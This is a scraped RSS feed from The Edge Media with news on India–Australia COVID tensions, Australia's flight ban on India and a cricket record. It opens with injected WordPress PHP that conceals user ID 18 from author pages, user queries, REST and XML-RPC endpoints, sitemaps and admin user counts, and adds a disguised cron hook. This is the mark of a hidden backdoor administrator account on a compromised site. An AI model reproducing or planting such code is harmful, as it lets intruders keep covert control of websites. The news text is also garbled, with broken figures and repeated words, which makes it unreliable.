add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post India provoke by Australian Media report on Corona appeared first on The Edge Media.
]]>India has told the Australian media in two words that it should investigate the facts and make the news. Actually, a news has been published in ‘The Australian’, in which the central government has been targeted for the second wave of Corona virus.
The newspaper has tried to show in a way that the Government of India did not understand the seriousness of the situation, due to which the situation went from bad to worse.
This news of the Australian media has been condemned by the High Commission of India. The High Commission has described the news as completely baseless, malicious and malicious.
India has also lodged a protest in this regard by writing a letter to the editor-in-chief Christopher Dore. The letter said that the newspaper underestimated the methods adopted by the Indian government to fight the Corona epidemic.
The letter written by the High Commission further stated that the Government of India adopted a number of measures to deal with Corona, ranging from the lockdown imposed in March last year to the vaccination campaign this year.

The Australian ‘has a news release on Monday, titled’ Modi has pushed India out of lockdown and pushed it towards apocalypse ‘. In this news, the election rally and Kumbh Mela have also been attributed behind the second wave of Corona infection in India.
It was also said that Prime Minister Narendra Modi ignored the advice of experts, due to which the situation got out of control.
‘Government has saved hundreds of lives’ The Indian High Commission has given a befitting reply to this report of Australia Media. In a letter sent to the editor of the newspaper, the High Commission wrote, ‘Due to timely decisions by the government, hundreds of lives could be saved and praised all over the world’.
Talking about the vaccine diplomacy of the Government of India in the letter, it has been claimed that this will save the lives of millions of people all over the world. The Indian High Commission has also condemned Prime Minister Modi’s election rallies and holding the Kumbh Mela responsible for Corona.
The post India provoke by Australian Media report on Corona appeared first on The Edge Media.
]]>The post Australia prohibits direct flights from India appeared first on The Edge Media.
]]>The decision has been taken by the Prime Minister of the country, Scott Morrison, in view of the epidemic cases.
Under this, no flight from India will go to Australia till May 15. Let us tell you before that many other countries have stopped flights coming from India.
In view of the ever increasing coronavirus crisis in India, Australia has decided to stop direct passenger flights from India till 15 May. Australian PM Scott Morrison made the decision on Tuesday.
At present, new daily corona patients are coming out in India. This is the reason why many countries have banned flights coming from India. These include Thailand, Singapore, Bangladesh and the UK.
India’s condition is continuously deteriorating due to coronavirus infection.
second wave of coronavirus infection has caused havoc to India. During the last 24 hours, 3 lakh 23 thousand 144 new cases of infection have been reported from across the country.
According to the Ministry of Health, the total number of coronavirus infections in the country has increased to 1.76 million 36 thousand 307.
In this, the number of active cases has reached 28 lakh 82 thousand 204. While 1 crore 45 lakh 56 thousand 209 people have been cured of this disease.
Let us tell you that while some countries have banned direct flights from India on precautionary times, many countries have also extended their helping hand amid the growing crisis of this epidemic. In view of the worsening situation of Coronavirus in India, a helping hand is being extended from all over the world.
In this series, CEOs of America’s top 40 companies have formed a global workforce to help India in the fight against Corona. Commitments have been made to send 20,000 oxygen machines to India in the next few weeks.
The post Australia prohibits direct flights from India appeared first on The Edge Media.
]]>The post Australia: man was in coma for 7 months, police arrested as soon as he regained consciousness appeared first on The Edge Media.
]]>The post Australia: man was in coma for 7 months, police arrested as soon as he regained consciousness appeared first on The Edge Media.
]]>The post This young player broke MS Dhoni’s record, set his 1000th Test run on Gabba ground appeared first on The Edge Media.
]]>Young wicketkeeper batsman Rishabh Pant has achieved a major record in the Brisbane Test. Pant batted in the second innings at the Gabba ground, Pant completed his 1000 Test runs in the first run.
Rishabh Pant, who completed 1000 Test runs, is India’s 7th wicketkeeper. Before him, this record was in the name of former captain Mahendra Singh Dhoni, but Pant has scored this faster than the previous 6 wicketkeepers. During this time, he averaged 40.04.
The post This young player broke MS Dhoni’s record, set his 1000th Test run on Gabba ground appeared first on The Edge Media.
]]>The post Strong shock to Australia, star player injured again, doubtful to play fourth test appeared first on The Edge Media.
]]>The post Strong shock to Australia, star player injured again, doubtful to play fourth test appeared first on The Edge Media.
]]>